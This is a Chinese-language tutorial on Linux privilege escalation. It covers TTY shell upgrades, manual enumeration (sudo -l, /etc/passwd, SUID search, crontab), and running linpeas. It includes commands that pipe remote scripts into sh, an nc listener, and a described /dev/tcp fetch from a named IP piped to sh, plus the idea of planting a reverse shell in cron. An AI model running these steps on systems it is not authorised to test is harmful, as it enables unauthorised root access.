提权
linux提权
具体的提权方法很大程度上取决与目标系统的配置。
我们可以分析像内核版本;已安装的应用程序;支持的编程语言和其他用户的凭据
这些关键因素中找到获得root权限的方法
这些关键元素通常包括操作系统或应用程序中的错误配置漏洞,超特权用户或弱凭据。
提权是一个非常重要的过程
目的在于全面涵盖主要的提权方法
深入剖析提权的原理和逻辑
无聊你是比赛还是工作,掌握这些提权知识都是至关重要的。
最熟悉的就是五种
ugo rwx
suid sgid
Capabilities
AppArmor Selinux
ACL
安 全 机 制
无论从红队还是从蓝队的角度会想到这么多
因为只有你理解了背后的权限体系
你能够提权,一定是基于你对一种机制的理解,和对这种机制的利用
破坏妙用巧用,一定是这样才能够让你的提权成为可能
一、就是低权限可以修改可执行文件或者脚本,然后能以高权限身份运行
就是u g o r w x加上s v这种权限体系下
二、就是从用户行为的角度
用低权限用户的运维人员也需要记忆,输入备份凭据已被使用,高权限用户的时候完成操作
或者从运维人员的角度,他的操作习惯,他的管理标准,他会把这些敏感信息留在那里
三、就是在权限的上层
在这个权限体系的上层,也就是说我们把它绕过了
一般来说会在内存,然后在cpu的这个层面
你设置这么多权限,但是没有用,我已经在你的上面去找提权的方式和策略了
在权限的上层捕捉拦截或者是修改凭据信息,这个最典型的就是我们基于内存去读取
一些敏感操作的敏感信息来实现的内核利用
一般我们把获得初始立足点之前就是信息收集
信息收集就是为了撕开入口,获得初始立足点
而获得立足点之后,为了提权横向渗透,打内网,
当我们在linux目标上获得立足点时,我们首先应该尝试的是将我们的shell升级成完整的tty
就是交互性尽可能的完整,
python -c导入一个库,是pty伪终端,在这个库中有一个方法是spawn,用它新启动一个/bin/bash会话。
python -c 'import pty; pty.spawn("/bin/bash")'
这是提高终端稳定性的第一个操作,
第二条命令stty是设置终端,然后给他一个参数raw传递的命令,同时把eco关闭掉
stty raw -echo
第三条语句是指定终端类型export
然后对term环境变量进行指定xterm
export TERM=xterm
export TERM=xterm-color
如果使用上下方向键找不到历史命令就用这个命令
rlwrap nc -lvnp 443
第一部分 手工枚举
登录到机器后的第一个命令
whoami
看当前用户是谁
看当前用户的user id和group id
id
如果知道其他用户的用户名可以id 用户名去查看指定用户的权限
还有和who am i相似的是who这个命令
它是看当前登录的用户和相关信息
因为linux是一个多用户系统
可以用who这个命令看除了我当前用户jack之外,还有哪些用户也登录了
w
w它提供的是当前登录用户的详细信息
last
显示的是系统最近的登录记录
uname -a
查看内核
lsb_release -a
查看更多架构信息
cat /proc/version
proc进程信息也可以显示内核信息
issue
也可以看
hostnamectl
这些都是看内核信息的
查看网卡
新的机器都有
ip addr
比较老的机器可能只有ifconfig
ifconfig
当我们拿到一个shell之后,如果看它有多张网卡
那很可能配合着路由信息的查看,我们就能够发现内网的更多信息
这是横向渗透的第一步
ip route
查看路由表
ip neigh
查看网络邻居
在局域网中还可以使用
arp -a
查看有那些mac地址和ip地址做了绑定
sudo -l
查看我们拥有那些权限
Capabilities
get 得到cap是capabilities,是得到权限能力,/跟目录下, 2>/dev/null是吧错误信息输出到空
ls -a
ls -liah 查看隐藏文件
history
查看历史记录有机会获取到敏感信息
cat /etc/passwd
查看passwd文件,查看用户
用户名称 : 密码用x代替 : 用户标识号UID : 组标识号GID : 描述 : 主目录 : bash环境登录Shell
cat /etc/crontab
查看定时任务,考虑能不能在里面写反弹shell,啥的,因为他是root运行的。
echo $PATH
查看环境变量,后面做基于路径的提权追加的时候可能用到
env
看整体环境变量的
ps -ef
-e是entire全部,-f 列出,-ef就是全部列出
UID用户id,PID是process进程id,TTY是使用的终端类型,CMD是正在运行的命令
ps axjf
显示没有连接终端的进程
还有ps aux也是显示全部进程。
top
查看动态刷新的进程信息
可以看到进程号
也可以不看动态的,只看一次
top -n 1只看一次,不实时刷新。
上面拿到了进程号,再结合netstat -a 查看有哪些进程开启的网络连接,
netstat -a
netstat -at
t是查看tcp的连接
u是查看udp的连接
netstat -l
-l 列出监听模式下的所有端口
-ano 是a全部,n不解析名称,o是显示一个计时器Timer
find / -perm -u=s -type f 2>/dev/null
-perm -u=s 权限 u=s
查看有sv的可执行文件
which 查找
which 查找是根据¥PATH顺序第一个去匹配,
查看一些程序装没装
cat /etc/fstab
查看系统有那些未挂载的磁盘
以上就是手工枚举
接下来就是
自动化枚举工具
Linpeas
最新的版本是PEASS-ng,因为他包含Linux版本和Window的支持
去github官网,找作者carlospolop,
到Release,Latest最新更新。复制连接地址
到终端命令行下使用wget下载,
< img src="http://www.tess.wiki/upload/2023/d2b5ca33bd004245.png" alt="d2b5ca33bd004245" data-edit-file-id="256" data-full-url="http://www.tess.wiki/upload/2023/d2b5ca33bd004245.png" />
再添加执行权限,后执行
也可以使用curl 下载后接管道符直接输出执行完后的结果
curl https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt
这样下载不了,因为链接做了重定向需要添加-L
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh > 123.txt
这样就是执行了
如果没有外网,就只能用各种方法传这个脚本文件了
本地在存有linpeas文件的目录下,开启python的http连接
然后下载
还有一种玩法,把linpeas的执行结果,输出传回kali机器,直接查看
一个窗口开传文件,
一个窗口开监听 88端口 再执行 tee 标准输出,同时也输出到linpeas.txt文本中。
然后再开一个窗口,下载执行linpeas.sh文件再执行,再连接nc IP 端口 就会把扫描结果输出回来。
再使用
less -r linpeas.txt
查看报告,嗯y确认
还有一种在没有curl的情况下的使用方法
在kali本地在存有linpeas文件的目录下,开启nc重定向把linpeas输入进来,
目标机器上执行
cat什么呢,从伪设备中/dev/tcp/23.225.116.31/88读取到的文件,加 | 管道符执行
因为在kali中已经把linpeas输入到了nc之中,这样建立一个完整的管道,
cat获得之后并不是显示出来,而是把他传到 | sh 执行,然后就可以看报告了。
Linenum
一个老一点的库,但是也可以收集一些权限,用户,敏感信息啥都都还可以。
linux-smart-enumeration
这个库也是一直在更新的
linux-exploit-suggester
也更新,只是比较慢,也可以作为备选
linuxprivchecker
这个库也两年没更新了,但是这个库是python写的py2,py3都支持,也可以做为备选。
unix-privesc-check
pentestmonkey的大佬分析过很多宝贝
22分16秒
Grsecurity
Pax
ExecShield
ASLR 地址空间布局随机化
Address space layout randomization
TOMOYO Linux
SMACK
Yama
CGroups
Linux Namespaces
StackGuard
Proplice
seccomp
ptrace
capsicum
Mprotect
chroot
firejail
暂无评论内容